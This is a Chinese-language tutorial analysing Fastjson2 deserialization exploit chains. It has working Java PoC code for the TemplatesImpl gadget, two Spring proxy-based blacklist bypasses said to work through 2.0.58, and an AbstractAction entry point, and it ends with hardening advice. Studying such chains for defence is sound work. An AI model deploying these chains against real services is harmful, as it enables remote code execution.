Fastjson2 反序列化漏洞利用链深入分析与教学
文档说明
本文档目标: 深入剖析Fastjson2在特定版本下的反序列化漏洞原理、利用链构造过程、修复方案以及绕过方法。
目标读者: 具备Java安全基础,希望深入理解Fastjson2漏洞细节的安全研究人员、渗透测试人员及开发人员。
技术核心: 利用Fastjson2在序列化(toString)过程中自动调用JavaBean的Getter方法的特性,触发恶意代码执行。
第一章:基础概念与前置知识
1.1 Fastjson 简介
Fastjson是阿里巴巴开源的高性能JSON处理库(序列化与反序列化)。Fastjson2是Fastjson的重要升级版本,在性能和功能上都有显著提升。
1.2 反序列化漏洞的本质
Java反序列化漏洞的通用利用模式是:通过构造一个特殊的对象链,当该对象被反序列化时,其内部方法(如readObject、toString、hashCode、equals或各类Getter方法)的调用链会最终指向执行任意代码的逻辑(例如Runtime.exec)。
1.3 关键利用类:TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 是一个经典的恶意类载体。其核心在于:
- 它有一个
_bytecodes字段,可用于承载自定义的字节码。 - 当它的
getOutputProperties()方法被调用时,会触发加载_bytecodes中的字节码并实例化,从而执行该字节码的静态代码块中的代码。
1.4 Fastjson2 的序列化触发点
与Fastjson1主要关注反序列化(parseObject)不同,Fastjson2的很多利用链是通过序列化(如调用JSONObject的 toString() 方法)触发的。这是因为在序列化过程中,Fastjson2为了获取对象的属性值,会自动调用该对象的所有Getter方法。
第二章:Fastjson2 <= 2.0.26 原生利用链分析
2.1 环境搭建
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>2.0.26</version>
</dependency>
2.2 核心PoC代码分析
// 1. 使用Javassist构造恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
cc.makeClassInitializer().insertBefore(cmd); // 恶意代码放入静态块
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
// 2. 组装TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3. 放入JSONObject并触发序列化
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", templates);
jsonObject.toString(); // 触发点!
2.3 调用链详细流程(重点)
- 入口:
JSONObject.toString() - 序列化上下文创建: 内部创建
JSONWriter(具体实现类为JSONWriterUTF16JDK8)。 - 处理Map条目:
JSONWriter会遍历JSONObject(本质是LinkedHashMap)的所有键值对。 - 获取ObjectWriter: 当处理到值为
TemplatesImpl类型时,由于没有预定义的序列化器,Fastjson2会动态生成一个序列化器类。 - 动态生成序列化器: 这个过程由
ObjectWriterCreatorASM完成。- 关键步骤1 - 收集Getter: 通过
BeanUtils.getters()方法,利用反射获取TemplatesImpl类的所有公有方法,并筛选出符合条件的Getter方法(如getOutputProperties,getStylesheetDOM,getTransletIndex)。 - 关键步骤2 - 生成字节码: 动态创建一个名为
com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl的类。这个类的write方法包含了调用上述所有Getter方法的逻辑。
- 关键步骤1 - 收集Getter: 通过
- 触发执行: 生成的
OWG_1_3_TemplatesImpl类的write方法被调用,从而调用了templates.getOutputProperties()。 - 代码执行:
getOutputProperties()触发TemplatesImpl加载恶意字节码,执行静态代码块中的Runtime.getRuntime().exec("open -a Calculator"),弹出计算器。
调用栈一览:
getOutputProperties:507, TemplatesImpl
write:-1, OWG_1_3_TemplatesImpl (动态生成的类)
write:548, ObjectWriterImplMap
toJSONString:2388, JSON
toString:1028, JSONObject
main:32, Main
2.4 动态类的查看
可以使用Arthas等Java诊断工具,在程序运行时反编译生成的 OWG_1_3_TemplatesImpl 类,直观看到其调用了多个Getter方法。
第三章:官方修复与首次绕过(2.0.27+)
3.1 修复方案
在2.0.27版本中,官方在 BeanUtils.getters() 方法中添加了一个黑名单检查。
关键代码 (BeanUtils.ignore):
static boolean ignore(Class objectClass) {
String name = objectClass.getName();
switch (name) {
case "javassist.CtNewClass":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl": // 黑名单!
case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
case "org.apache.commons.collections.functors.ChainedTransformer":
... // 其他黑名单类
return true;
default:
return false;
}
}
当传入的类(如 TemplatesImpl)在黑名单中时,getters() 方法直接返回空列表,导致无法为其生成动态序列化器,从而阻断了利用链。
3.2 绕过技术:动态代理(JdkDynamicAopProxy)
核心思路: 既然 TemplatesImpl 本身被禁,我们可以用一个不被禁的代理类来“包装”它。当Fastjson2处理代理类时,如果能最终触发对 TemplatesImpl 的 getOutputProperties 调用,即可绕过黑名单。
利用类: org.springframework.aop.framework.JdkDynamicAopProxy(需要spring-aop依赖)
绕过原理:
- 代理接口: 创建一个实现
javax.xml.transform.Templates接口的代理对象。Templates接口包含了getOutputProperties方法,且不在黑名单中。 - 目标对象: 将代理的目标对象(
TargetSource)设置为我们的恶意TemplatesImpl实例。 - 调用转发: 当Fastjson2调用代理对象的
getOutputProperties()时,会进入JdkDynamicAopProxy.invoke()方法。在该方法中,如果AdvisedSupport的配置使得chain(拦截器链)为空,则会直接调用targetSource.getTarget()返回的真实对象(即我们的TemplatesImpl)的对应方法。// JdkDynamicAopProxy.invoke 方法片段 if (chain.isEmpty()) { ... // 关键行:调用真实目标对象的方法 retVal = AopUtils.invokeJoinpointUsingReflection(target, method, args); }
PoC构造步骤:
// 1. 构造恶意TemplatesImpl (同上)
TemplatesImpl templates = ...;
// 2. 创建AdvisedSupport,设置目标对象
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
// 3. 创建JdkDynamicAopProxy实例作为InvocationHandler
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
// 4. 创建代理对象,代理Templates接口
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
// 5. 放入JSONObject并触发序列化
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
Fastjson2的处理流程(关键):
当Fastjson2处理代理对象时,在 BeanUtils.getters() 中会有一层特殊判断:
if (Proxy.isProxyClass(objectClass)) {
Class<?>[] interfaces = objectClass.getInterfaces();
if (interfaces.length == 1) { // 注意这个条件!
// 如果是单接口代理,则转而分析该接口
return getters(interfaces[0], methodCache);
}
}
- 由于我们的代理只实现了
Templates这一个接口,Fastjson2会转而分析Templates.class。 Templates接口不在黑名单中,且拥有getOutputProperties方法,因此会成功为其生成动态序列化器。- 序列化时调用代理对象的Getter,最终通过
JdkDynamicAopProxy触发真实目标TemplatesImpl的恶意方法。
注意点: 如果代理实现了多个接口(new Class[]{Templates.class, AnotherInterface.class}),则不会进入上述 if (interfaces.length == 1) 分支,Fastjson2会直接分析代理类本身(如 com.sun.proxy.$Proxy0)。只要这个代理类本身不在黑名单内,利用链依然可以成功。这为后续绕过提供了更多可能性。
第四章:另一种代理利用链(ObjectFactoryDelegatingInvocationHandler)
这是另一个基于Spring的利用链,不依赖 JdkDynamicAopProxy。
利用类: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler(内部类)
利用链:
ObjectFactoryDelegatingInvocationHandler.invoke被调用。- 它调用其内部维护的
ObjectFactory的getObject()方法来获取一个对象。 - 然后在这个对象上调用相应的方法。
PoC构造(两层代理):
// 1. 构造恶意TemplatesImpl
TemplatesImpl templates = ...;
// 2. 第一层代理:让JSONObject本身作为InvocationHandler,代理ObjectFactory接口
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object", templates); // 放入恶意对象
// 当代理的getObject()方法被调用时,会触发JSONObject的invoke,最终返回map.get("object"),即templates
Object proxy0 = Proxy.newProxyInstance(..., new Class[]{ObjectFactory.class}, (InvocationHandler)jsonObject0);
// 3. 第二层代理:使用ObjectFactoryDelegatingInvocationHandler
Constructor constructor = Class.forName("...ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(proxy0);
// 代理Templates接口
Object proxy1 = Proxy.newProxyInstance(..., new Class[]{Templates.class}, handler1);
// 4. 触发
JSONObject finalJson = new JSONObject();
finalJson.put("fupanc", proxy1);
finalJson.toString();
流程:
Fastjson2处理 proxy1 (代理了Templates) -> 调用 getOutputProperties -> 触发 ObjectFactoryDelegatingInvocationHandler.invoke -> 调用 proxy0.getObject()(即 ObjectFactory.getObject())-> 触发 JSONObject.invoke -> 返回 templates -> 在 templates 上调用 getOutputProperties -> 代码执行。
第五章:新型反序列化入口点(AbstractAction)
当常见的入口点(如 HashMap、BadAttributeValueExpException)被限制时,可以寻找其他可序列化类的 readObject 方法作为新入口。
利用类: javax.swing.AbstractAction 及其子类(如 StyledEditorKit.AlignmentAction)
利用链:
AlignmentAction.readObject() ->
AbstractAction.putValue() ->
AbstractAction.firePropertyChange() ->
XString.equals() ->
JSONObject.toString() ->
... (后续Fastjson2利用链)
构造技巧(难点):
firePropertyChange(key, oldValue, newValue) 方法中会调用 oldValue.equals(newValue)。我们需要:
oldValue: 设置为com.sun.org.apache.xpath.internal.objects.XString实例。newValue: 设置为包含我们恶意代理对象的JSONObject。
当XString的equals方法被调用时,会触发参数的toString()方法,从而启动Fastjson2的序列化流程。
特殊处理:
由于在序列化时,ArrayTable 的 put 方法会覆盖相同key的值,导致反序列化时 oldValue 获取不正确。文章提出了一种巧妙的十六进制编辑方法:
- 正常生成一个包含两个不同key的序列化文件(
key1=XString,key2=JSONObject)。 - 用十六进制编辑器将第一个key的字符改为与第二个key相同。这样在反序列化时,
arrayTable.get(key)会返回第一个值(XString),但后续put操作会覆盖为第二个值(JSONObject),从而在firePropertyChange时成功触发XString.equals(JSONObject)。
第六章:总结与防护建议
6.1 漏洞总结表
| 特性 | Fastjson2 <= 2.0.26 (原生链) | JdkDynamicAopProxy 绕过 | ObjectFactoryDelegatingInvocationHandler 绕过 |
|---|---|---|---|
| 触发方式 | JSONObject.toString() |
JSONObject.toString() |
JSONObject.toString() |
| 核心类 | TemplatesImpl |
TemplatesImpl + JdkDynamicAopProxy |
TemplatesImpl + ObjectFactoryDelegatingInvocationHandler + JSONObject |
| 关键点 | 动态生成序列化器调用Getter | 动态代理绕过黑名单检查 | 两层代理,利用ObjectFactory接口 |
| 依赖 | Fastjson2 <= 2.0.26 | Fastjson2 + spring-aop | Fastjson2 + spring-beans (通常包含在spring-aop中) |
| 修复影响 | 2.0.27 通过黑名单修复 | 直至最新版(如2.0.58)仍可利用 | 直至最新版(如2.0.58)仍可利用 |
6.2 安全建议
- 升级Fastjson2: 始终使用最新版本的Fastjson2。
- 安全配置: 如果无法升级,务必使用SafeMode功能(
JSONFactory.setSafeMode(true)),这是最根本的防护措施。 - 谨慎反序列化: 绝对不要反序列化来自不可信源的JSON数据。
- JVM防护: 使用JVM安全管理器或RASP方案进行防护。
- 代码审计: 检查项目中是否存在将用户可控数据直接传入
JSONObject.toString()或类似序列化方法的代码。
通过本教学文档,您应该能够全面理解Fastjson2反序列化漏洞的多种利用技术及其演变过程。这些知识对于进行有效的代码安全审计和构建防御体系至关重要。